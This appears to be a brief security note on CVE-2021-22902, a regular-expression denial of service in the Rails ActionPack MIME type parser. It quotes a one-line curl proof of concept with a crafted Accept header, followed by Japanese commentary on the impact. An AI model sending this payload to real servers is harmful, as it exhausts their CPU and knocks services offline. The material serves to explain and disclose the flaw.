Rails ActionPack MIME Type parser DoS
Denial of Service in Action Dispatch · CVE-2021-22902 · GitHub Advisory Database · GitHub
CVE-2021-22902 Rails ActionPack MIME Type parser DoS PoC: `curl -H 'Accept: text/html ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0;' -X POST http://localhost:3000/` https://t.co/pLa1tgA9Rz pic.twitter.com/VchPZfjiu0
— pivot_root (@pivot_root) May 6, 2021
MIME Type parser の ReDoS. Accept ヘッダを細工することでプロセス(スレッド)の CPU 使用率を 100% にできる。Rails では POST 時に Accespt ヘッダの値を見る処理があるため、適当なエンドポイント(どこでもいいし、存在しなくてもいい)にリクエストを送信すると発生する。 本番環境だとスレッドが複数いるのですべてを DoS に陥れるには、その数のリクエストを送信する必要がありそう? GHSA だと moderate になっているけど、影響大きいんじゃないかなぁと思う。